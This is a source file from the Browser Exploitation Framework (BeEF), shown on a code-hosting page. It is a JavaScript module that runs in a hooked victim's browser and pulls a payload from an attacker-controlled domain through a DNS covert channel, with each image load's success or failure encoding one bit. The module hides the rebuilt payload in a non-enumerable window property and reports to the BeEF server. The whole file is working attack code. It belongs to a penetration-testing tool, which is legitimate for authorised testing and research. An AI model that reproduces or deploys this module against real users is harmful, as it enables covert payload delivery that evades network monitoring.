Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/ipec/s2c_dns_tunnel/command.js
1873 views
1
//
2
// Copyright (c) 2006-2026Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
/*
8
This JavaScript retrieves data from a server via DNS covert channel.
9
10
A remote controlled domain with a custom DNS server implementing covert channel logic is required.
11
BeEF supports this feature via Server-to-Client DNS Tunnel extension.
12
13
The initial concept of the DNS covert channel and its implementation are described in the following literature:
14
- K.Born. Browser-Based Covert Data Exfiltration. http://arxiv.org/ftp/arxiv/papers/1004/1004.4357.pdf
15
- W. Alcorn,C. Frichot, M.Orru. The Browser Hacker's Handbook. ISBN-13: 978-1118662090, ISBN-10: 1118662091
16
17
*/
18
beef.execute(function() {
19
20
var payload_name = "<%= @payload_name %>";
21
var domain = "<%= @zone %>";
22
var scheme = beef.net.httpproto;
23
var port = beef.net.port;
24
var cid = "<%= @command_id %>";
25
var curl = "<%= @command_url %>";
26
27
var messages = new Array();
28
var bits = new Array();
29
var bit_transfered = new Array();
30
var timing = new Array();
31
32
// Do the DNS query by requesting an image
33
send_query = function(fqdn, msg, byte, bit) {
34
var img = new Image;
35
var fport = "";
36
37
if (port !== "80") fport = ":"+port;
38
39
img.src = scheme+"://" + fqdn + fport + "/tiles/map";
40
41
img.onload = function() { // successful load so bit equals 1
42
bits[msg][bit] = 1;
43
bit_transfered[msg][byte]++;
44
if (bit_transfered[msg][byte] >= 8) reconstruct_byte(msg, byte);
45
}
46
47
img.onerror = function() { // unsuccessful load so bit equals 0
48
bits[msg][bit] = 0;
49
bit_transfered[msg][byte]++;
50
if (bit_transfered[msg][byte] >= 8) reconstruct_byte(msg, byte);
51
}
52
};
53
54
// Construct DNS names based on Active Directory SRV resource records pattern and resolve them via send_query function
55
// See http://technet.microsoft.com/en-us/library/cc961719.aspx
56
function get_byte(msg, byte) {
57
bit_transfered[msg][byte] = 0;
58
var rnd8 = getRandomStr(8);
59
var rnd12 = getRandomStr(12);
60
// Request the byte one bit at a time
61
for(var bit=byte*8; bit < (byte*8)+8; bit++){
62
// Set the message number (hex)
63
msg_str = ("" + msg.toString(16)).substr(-8);
64
// Set the bit number (hex)
65
bit_str = ("" + bit.toString(16)).substr(-8);
66
// Build the subdomain
67
subdomain = "_ldap._tcp." + rnd8 + "-" + msg_str + "-" + cid + "-" + bit_str + "-" + rnd12;
68
// Build the full domain
69
name = subdomain + '.domains._msdcs.'+ domain;
70
send_query(name, msg, byte, bit)
71
}
72
}
73
74
// Construct random string
75
function getRandomStr(n){
76
return Math.random().toString(36).slice(2, 2 + Math.max(1, Math.min(n, 12)));
77
}
78
79
// Build the environment and request the message
80
function get_message(msg) {
81
// Set variables for getting a message
82
messages[msg] = "";
83
bits[msg] = new Array();
84
bit_transfered[msg] = new Array();
85
timing[msg] = (new Date()).getTime();
86
get_byte(msg, 0);
87
}
88
89
// Build the data returned from the binary results
90
function reconstruct_byte(msg, byte){
91
var char = 0;
92
// Build the last byte requested
93
for(var bit=byte*8; bit < (byte*8)+8; bit++){
94
char <<= 1;
95
char += bits[msg][bit] ;
96
}
97
98
// Message is terminated with a null byte (all failed DNS requests)
99
if (char != 0) {
100
// The message isn't terminated so get the next byte
101
messages[msg] += String.fromCharCode(char);
102
get_byte(msg, byte+1);
103
}
104
else {
105
// The message is terminated so finish
106
delta = ((new Date()).getTime() - timing[msg])/1000;
107
bytes_per_second = "" +
108
((messages[msg].length + 1) * 8)/delta;
109
110
// Save the message in the Window
111
if (window.hasOwnProperty(payload_name))
112
window[payload_name] = messages[msg]
113
else
114
Object.defineProperty(window,payload_name, { value: messages[msg],
115
writable: true,
116
enumerable: false });
117
118
beef.net.send(curl, parseInt(cid),'s2c_dns_tunnel=true' + '&bps=' + bytes_per_second);
119
120
}
121
}
122
get_message(0);
123
});
124
125